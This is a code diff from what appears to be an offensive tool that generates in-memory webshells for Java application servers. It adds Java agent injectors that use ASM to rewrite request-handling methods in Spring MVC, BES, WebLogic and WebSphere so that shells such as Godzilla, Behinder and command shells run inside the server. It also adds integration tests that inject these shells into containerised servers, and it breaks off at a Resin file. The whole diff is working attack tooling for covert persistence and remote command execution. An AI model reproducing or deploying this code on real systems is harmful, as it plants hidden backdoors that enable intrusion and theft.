diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java index a48edde1..c9717e43 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java @@ -40,7 +40,6 @@ import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor; import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor; import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor; -import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor; import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor; import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor; @@ -68,7 +67,7 @@ public enum Server { */ Jetty(new JettyShell()), /** - * JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 JBoss AS + * JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 JBoss AS */ JBossAS(new JbossShell()), JBossEAP6(new JbossShell()), @@ -101,7 +100,7 @@ public enum Server { WebLogic(new WebLogicShell()), /** - * Resin 中间件, Resin + * Resin 中间件,Resin */ Resin(new ResinShell()), @@ -223,7 +222,8 @@ public enum Server { .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class) - .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class) + .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class) + .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class) .addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class) .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class) .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class) @@ -237,7 +237,9 @@ public enum Server { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class) + .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class) + .addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class) .build()); addToolMapping(ShellTool.Suo5, ToolMapping.builder() diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index 6a1500b3..7fe1f77b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -30,13 +30,16 @@ public class ShellType { public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; + public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; + public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM; public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor"; public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor"; public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler"; public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler"; public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet"; + public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM; public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter"; public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java index ebf62182..e9d22373 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java @@ -22,7 +22,8 @@ public class BesShell extends AbstractShell { .addInjector(LISTENER, BesListenerInjector.class) .addInjector(VALVE, BesValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class) + .addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java index 4cd5d64a..1c7e37cd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector; +import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector; import static com.reajason.javaweb.memshell.ShellType.*; @@ -20,6 +21,7 @@ public class SpringWebMvcShell extends AbstractShell { .addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class) .addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class) .addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class) + .addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class) .build(); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java index 44b440db..e15cd11b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java @@ -1,9 +1,6 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector; -import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector; -import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector; -import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector; +import com.reajason.javaweb.memshell.injector.weblogic.*; import static com.reajason.javaweb.memshell.ShellType.*; @@ -25,6 +22,7 @@ public class WebLogicShell extends AbstractShell { .addInjector(FILTER, WebLogicFilterInjector.class) .addInjector(LISTENER, WebLogicListenerInjector.class) .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class) + .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java index a2b4fd1b..c7b5a1f0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java @@ -1,9 +1,6 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgentInjector; -import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector; -import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector; -import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector; +import com.reajason.javaweb.memshell.injector.websphere.*; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import net.bytebuddy.implementation.bytecode.assign.Assigner; @@ -36,6 +33,7 @@ public class WebSphereShell extends AbstractShell { .addInjector(FILTER, WebSphereFilterInjector.class) .addInjector(LISTENER, WebSphereListenerInjector.class) .addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class) + .addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class) .build(); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot1ContainerTest.java index cea9c469..28a545c8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot1ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot1ContainerTest.java @@ -51,7 +51,12 @@ public class SpringBoot1ContainerTest { static Stream casesProvider() { Server server = Server.SpringWebMvc; - List supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET); + List supportedShellTypes = List.of( + ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM + ); List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java index 3dbd1888..167d52d8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java @@ -53,7 +53,12 @@ public class SpringBoot2ContainerTest { static Stream casesProvider() { Server server = Server.SpringWebMvc; - List supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET); + List supportedShellTypes = List.of( + ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM + ); List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java index ce766131..9ad0dd87 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java @@ -49,8 +49,10 @@ public class SpringBoot2WarContainerTest { static Stream casesProvider() { Server server = Server.SpringWebMvc; - List supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, - ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER); + List supportedShellTypes = List.of( + ShellType.SPRING_WEBMVC_INTERCEPTOR, + ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER + ); List testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java index 5af1e8ae..44169cf2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java @@ -51,7 +51,12 @@ public class SpringBoot3ContainerTest { static Stream casesProvider() { Server server = Server.SpringWebMvc; - List supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET); + List supportedShellTypes = List.of( + ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM + ); List testPackers = List.of(Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java index 99010121..e44157a1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java @@ -50,7 +50,11 @@ public class WebLogic1036ContainerTest { static Stream casesProvider() { Server server = Server.WebLogic; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT, + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM + ); List testPackers = List.of(Packers.Base64); List> unSupportedCases = List.of( Triple.of(ShellType.SERVLET, ShellTool.Behinder, Packers.Base64), // java.net.SocketTimeoutException diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java index 5fae115b..f6f90440 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java @@ -51,7 +51,11 @@ public class WebLogic12214ContainerTest { static Stream casesProvider() { Server server = Server.WebLogic; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT, + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM + ); List testPackers = List.of(Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java index b64fa34e..9ffb0ee0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java @@ -51,7 +51,11 @@ public class WebLogic14110ContainerTest { static Stream casesProvider() { Server server = Server.WebLogic; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT, + ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM + ); List testPackers = List.of(Packers.Base64); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java index 88b1d0f0..3571d9c1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java @@ -54,7 +54,11 @@ public class WebSphere855ContainerTest { static Stream casesProvider() { Server server = Server.WebSphere; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.WAS_AGENT_FILTER_MANAGER, + ShellType.WAS_AGENT_FILTER_MANAGER_ASM + ); List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java index 5e36a3d7..4d0a9fd8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java @@ -54,7 +54,11 @@ public class WebSphere905ContainerTest { static Stream casesProvider() { Server server = Server.WebSphere; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.WAS_AGENT_FILTER_MANAGER, + ShellType.WAS_AGENT_FILTER_MANAGER_ASM + ); List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java index 8eda235a..bdabed86 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java @@ -54,7 +54,11 @@ public class WebSphere700ContainerTest { static Stream casesProvider() { Server server = Server.WebSphere; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.WAS_AGENT_FILTER_MANAGER); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.WAS_AGENT_FILTER_MANAGER, + ShellType.WAS_AGENT_FILTER_MANAGER_ASM + ); List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/memshell-java8/build.gradle b/memshell-java8/build.gradle index 99859605..5cfacb7f 100644 --- a/memshell-java8/build.gradle +++ b/memshell-java8/build.gradle @@ -12,6 +12,7 @@ java { dependencies { implementation project(":memshell") implementation 'net.bytebuddy:byte-buddy' + implementation 'org.ow2.asm:asm-commons' implementation 'org.springframework:spring-webmvc' implementation 'org.springframework:spring-webflux' diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentWithAsmInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentWithAsmInjector.java new file mode 100644 index 00000000..7d58ad2e --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentWithAsmInjector.java @@ -0,0 +1,97 @@ +package com.reajason.javaweb.memshell.springwebmvc.injector; + +import org.objectweb.asm.*; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.lang.reflect.Constructor; +import java.security.ProtectionDomain; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class SpringWebMvcFrameworkServletAgentWithAsmInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet"; + private static final String TARGET_METHOD_NAME = "service"; + + static Constructor constructor = null; + + static { + try { + Class clazz = Class.forName(getClassName()); + constructor = clazz.getConstructors()[0]; + constructor.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public SpringWebMvcFrameworkServletAgentWithAsmInjector() { + } + + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return (MethodVisitor) constructor.newInstance(mv, argumentTypes); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new SpringWebMvcFrameworkServletAgentWithAsmInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentWithAsmInjector.java new file mode 100644 index 00000000..53c3d51d --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentWithAsmInjector.java @@ -0,0 +1,97 @@ +package com.reajason.javaweb.memshell.injector.bes; + +import org.objectweb.asm.*; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.lang.reflect.Constructor; +import java.security.ProtectionDomain; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class BesContextValveAgentWithAsmInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve"; + private static final String TARGET_METHOD_NAME = "invoke"; + + static Constructor constructor = null; + + static { + try { + Class clazz = Class.forName(getClassName()); + constructor = clazz.getConstructors()[0]; + constructor.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public BesContextValveAgentWithAsmInjector() { + } + + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return (MethodVisitor) constructor.newInstance(mv, argumentTypes); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new BesContextValveAgentWithAsmInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentWithAsmInjector.java new file mode 100644 index 00000000..40b5212f --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentWithAsmInjector.java @@ -0,0 +1,97 @@ +package com.reajason.javaweb.memshell.injector.bes; + +import org.objectweb.asm.*; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.lang.reflect.Constructor; +import java.security.ProtectionDomain; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class BesFilterChainAgentWithAsmInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain"; + private static final String TARGET_METHOD_NAME = "doFilter"; + + static Constructor constructor = null; + + static { + try { + Class clazz = Class.forName(getClassName()); + constructor = clazz.getConstructors()[0]; + constructor.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public BesFilterChainAgentWithAsmInjector() { + } + + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return (MethodVisitor) constructor.newInstance(mv, argumentTypes); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new BesFilterChainAgentWithAsmInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentWithAsmInjector.java index 9b40ccd9..6c00a708 100644 --- 